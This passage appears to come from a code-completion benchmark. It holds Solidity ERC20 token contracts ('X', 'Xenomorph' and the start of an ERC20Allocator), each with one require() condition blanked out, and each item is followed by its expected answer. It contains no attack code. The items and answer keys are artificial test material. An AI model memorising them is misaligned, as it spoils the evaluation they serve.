returns (bool) {
}
function _ptnyk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| !_frajov(to) | 63,784 | !_frajov(to) |
null | /**
Telegram: https://t.me/XErc20_CoinX
Twitter: https://twitter.com/XErc20_CoinX
Website: https://xerc.org/
*/
pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _bcfcih(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract X is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _poartcr;
address payable private _phafiy;
address private _barenp;
string private constant _name = unicode"𝕏";
string private constant _symbol = unicode"𝕏";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _qltohr=0;
uint256 private _qvoest=0;
uint256 public _patyvb = _totalSupply;
uint256 public _qraefk = _totalSupply;
uint256 public _pjoaeb= _totalSupply;
uint256 public _qrigpf= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blexad;
mapping (address => bool) private _pvlkcu;
mapping(address => uint256) private _fllnou;
bool private _xxercopen;
bool public _peudsq = false;
bool private blhitf = false;
bool private _ruyakj = false;
event _qkfrkj(uint _patyvb);
modifier fraivy {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function _transferFrom(uint256
tokenAmount) private
fraivy {
}
function _bcpikv
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _qcrivj(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frajov(address
account) private view
returns (bool) {
}
function _ptnyk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
require(<FILL_ME>)
_poartcr
=
IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_poartcr),
_totalSupply);
_barenp =
IUniswapV2Factory(_poartcr.
factory( )
). createPair (
address(this
), _poartcr .
WETH ( ) );
_poartcr.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_barenp).
approve(address(_poartcr),
type(uint)
.max);
_ruyakj = true;
_xxercopen = true;
}
receive() external payable {}
}
| !_xxercopen | 63,784 | !_xxercopen |
"3 Day cooldown.!" | // Xenomorph
//
// Xenomorph is completely self-sufficient as all taxes are assigned to directly Buy and Burn the Native Token
// Self-Sufficient - Community Oriented - Simple Tokenomics - A new type of ERC20 Contract -
// The first rule of any technology is that automation applied to an efficient operation will magnify the efficiency.
// Tax: 2% Automated Tax allocated to Buyback and Burn
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Xenomorph is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "XENOMORPH";
string constant private _symbol = "XENOMORPH";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct Ratios {
uint16 tokens;
uint16 swap;
uint16 burn;
uint16 total;
}
Fees public _taxRates = Fees({
buyFee: 200,
sellFee: 200,
transferFee: 0
});
Ratios public _ratios = Ratios({
tokens: 0,
swap: 0,
burn: 10,
total: 10
});
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address tokens;
address payable swap;
}
TaxWallets public _taxWallets = TaxWallets({
tokens: 0xdb809F4a17E59B05d7AB707aF49b518F1A684903,
swap: payable(0xdb809F4a17E59B05d7AB707aF49b518F1A684903)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public contractSwapTimer = 0 seconds;
uint256 private lastSwap;
uint256 public swapThreshold;
uint256 public swapAmount;
uint256 public _amountTokensLastSold;
uint256 public _percentLastSoldToBuyBackTimesTen = 10;
uint256 private _buyBackAmount;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
bool public buyBackEnabled = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
event SwapETHForTokens(uint256 amountIn, address[] path);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(<FILL_ME>)
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 tokens, uint16 swap, uint16 burn) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function getMaxTX() public view returns (uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function getAmountTokensLastSold() public view returns (uint256) {
}
function percentLastSoldToBuyBackTimesTen() public view returns (uint256) {
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
}
function setPercentLastSoldToBuyBackTimesTen(uint256 percentLastSoldToBuyBackTimesTenNew) public onlyOwner {
}
function _getSellBnBAmount(uint256 tokenAmount) private view returns(uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner {
}
function setWallets(address tokens, address payable swap) external onlyOwner {
}
function setContractSwapEnabled(bool enabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap() internal lockTheSwap {
}
function buyBackTokens(uint256 amount) private lockTheSwap {
}
//swapExactETHForTokens
function swapETHForTokens(uint256 amount) private {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function transferContractToken(address _token, address _to, uint256 _quant) public onlyOwner returns(bool _sent){
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| block.timestamp-timeSinceLastPair>3days,"3 Day cooldown.!" | 63,900 | block.timestamp-timeSinceLastPair>3days |
"Liquidity already added and marked." | // Xenomorph
//
// Xenomorph is completely self-sufficient as all taxes are assigned to directly Buy and Burn the Native Token
// Self-Sufficient - Community Oriented - Simple Tokenomics - A new type of ERC20 Contract -
// The first rule of any technology is that automation applied to an efficient operation will magnify the efficiency.
// Tax: 2% Automated Tax allocated to Buyback and Burn
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Xenomorph is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "XENOMORPH";
string constant private _symbol = "XENOMORPH";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct Ratios {
uint16 tokens;
uint16 swap;
uint16 burn;
uint16 total;
}
Fees public _taxRates = Fees({
buyFee: 200,
sellFee: 200,
transferFee: 0
});
Ratios public _ratios = Ratios({
tokens: 0,
swap: 0,
burn: 10,
total: 10
});
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address tokens;
address payable swap;
}
TaxWallets public _taxWallets = TaxWallets({
tokens: 0xdb809F4a17E59B05d7AB707aF49b518F1A684903,
swap: payable(0xdb809F4a17E59B05d7AB707aF49b518F1A684903)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public contractSwapTimer = 0 seconds;
uint256 private lastSwap;
uint256 public swapThreshold;
uint256 public swapAmount;
uint256 public _amountTokensLastSold;
uint256 public _percentLastSoldToBuyBackTimesTen = 10;
uint256 private _buyBackAmount;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
bool public buyBackEnabled = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
event SwapETHForTokens(uint256 amountIn, address[] path);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 tokens, uint16 swap, uint16 burn) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function getMaxTX() public view returns (uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function getAmountTokensLastSold() public view returns (uint256) {
}
function percentLastSoldToBuyBackTimesTen() public view returns (uint256) {
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
}
function setPercentLastSoldToBuyBackTimesTen(uint256 percentLastSoldToBuyBackTimesTenNew) public onlyOwner {
}
function _getSellBnBAmount(uint256 tokenAmount) private view returns(uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner {
}
function setWallets(address tokens, address payable swap) external onlyOwner {
}
function setContractSwapEnabled(bool enabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap() internal lockTheSwap {
}
function buyBackTokens(uint256 amount) private lockTheSwap {
}
//swapExactETHForTokens
function swapETHForTokens(uint256 amount) private {
}
function _checkLiquidityAdd(address from, address to) internal {
require(<FILL_ME>)
if (!_hasLimits(from, to) && to == lpPair) {
_liquidityHolders[from] = true;
_hasLiqBeenAdded = true;
contractSwapEnabled = true;
emit ContractSwapEnabledUpdated(true);
}
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function transferContractToken(address _token, address _to, uint256 _quant) public onlyOwner returns(bool _sent){
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| !_hasLiqBeenAdded,"Liquidity already added and marked." | 63,900 | !_hasLiqBeenAdded |
null | // Xenomorph
//
// Xenomorph is completely self-sufficient as all taxes are assigned to directly Buy and Burn the Native Token
// Self-Sufficient - Community Oriented - Simple Tokenomics - A new type of ERC20 Contract -
// The first rule of any technology is that automation applied to an efficient operation will magnify the efficiency.
// Tax: 2% Automated Tax allocated to Buyback and Burn
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract Xenomorph is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _liquidityHolders;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "XENOMORPH";
string constant private _symbol = "XENOMORPH";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct Ratios {
uint16 tokens;
uint16 swap;
uint16 burn;
uint16 total;
}
Fees public _taxRates = Fees({
buyFee: 200,
sellFee: 200,
transferFee: 0
});
Ratios public _ratios = Ratios({
tokens: 0,
swap: 0,
burn: 10,
total: 10
});
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address tokens;
address payable swap;
}
TaxWallets public _taxWallets = TaxWallets({
tokens: 0xdb809F4a17E59B05d7AB707aF49b518F1A684903,
swap: payable(0xdb809F4a17E59B05d7AB707aF49b518F1A684903)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public contractSwapTimer = 0 seconds;
uint256 private lastSwap;
uint256 public swapThreshold;
uint256 public swapAmount;
uint256 public _amountTokensLastSold;
uint256 public _percentLastSoldToBuyBackTimesTen = 10;
uint256 private _buyBackAmount;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
bool public buyBackEnabled = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
event SwapETHForTokens(uint256 amountIn, address[] path);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 tokens, uint16 swap, uint16 burn) external onlyOwner {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromLimits(address account) public view returns (bool) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function getMaxTX() public view returns (uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function getAmountTokensLastSold() public view returns (uint256) {
}
function percentLastSoldToBuyBackTimesTen() public view returns (uint256) {
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
}
function setPercentLastSoldToBuyBackTimesTen(uint256 percentLastSoldToBuyBackTimesTenNew) public onlyOwner {
}
function _getSellBnBAmount(uint256 tokenAmount) private view returns(uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner {
}
function setWallets(address tokens, address payable swap) external onlyOwner {
}
function setContractSwapEnabled(bool enabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap() internal lockTheSwap {
}
function buyBackTokens(uint256 amount) private lockTheSwap {
}
//swapExactETHForTokens
function swapETHForTokens(uint256 amount) private {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function transferContractToken(address _token, address _to, uint256 _quant) public onlyOwner returns(bool _sent){
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external {
require(accounts.length == amounts.length, "Lengths do not match.");
for (uint8 i = 0; i < accounts.length; i++) {
require(<FILL_ME>)
_finalizeTransfer(msg.sender, accounts[i], amounts[i]*10**_decimals, false, false, false, true);
}
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| balanceOf(msg.sender)>=amounts[i] | 63,900 | balanceOf(msg.sender)>=amounts[i] |
"ERC20Allocator: cannot overwrite existing deposit" | pragma solidity =0.8.13;
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Timed} from "./../../utils/Timed.sol";
import {CoreRef} from "./../../refs/CoreRef.sol";
import {PCVDeposit} from "./../PCVDeposit.sol";
import {RateLimitedV2} from "./../../utils/RateLimitedV2.sol";
import {IERC20Allocator} from "./IERC20Allocator.sol";
/// @notice Contract to remove all excess funds past a target balance from a smart contract
/// and to add funds to that same smart contract when it is under the target balance.
/// First application is allocating funds from a PSM to a yield venue so that liquid reserves are minimized.
/// This contract should never hold PCV, however it has a sweep function, so if tokens get sent to it accidentally,
/// they can still be recovered.
/// This contract stores each PSM and maps it to the target balance and decimals normalizer for that token
/// PCV Deposits can then be linked to these PSM's which allows funds to be pushed and pulled
/// between these PCV deposits and their respective PSM's.
/// This design allows multiple PCV Deposits to be linked to a single PSM.
/// This contract enforces the assumption that all pcv deposits connected to a given PSM share
/// the same underlying token, otherwise the rate limited logic will not work as intended.
/// This assumption is encoded in the create and edit deposit functions as well as the
/// connect deposit function.
/// @author Elliot Friedman
contract ERC20Allocator is IERC20Allocator, CoreRef, RateLimitedV2 {
using Address for address payable;
using SafeERC20 for IERC20;
using SafeCast for *;
/// @notice container that stores information on all psm's and their respective deposits
struct PSMInfo {
/// @notice target token address to send
address token;
/// @notice only skim if balance of target is greater than targetBalance
/// only drip if balance of target is less than targetBalance
uint248 targetBalance;
/// @notice decimal normalizer to ensure buffer is updated uniformly across all deposits
int8 decimalsNormalizer;
}
/// @notice map the psm address to the corresponding target balance information
/// excess tokens past target balance will be pulled from the PSM
/// if PSM has less than the target balance, tokens will be sent to the PSM
mapping(address => PSMInfo) public allPSMs;
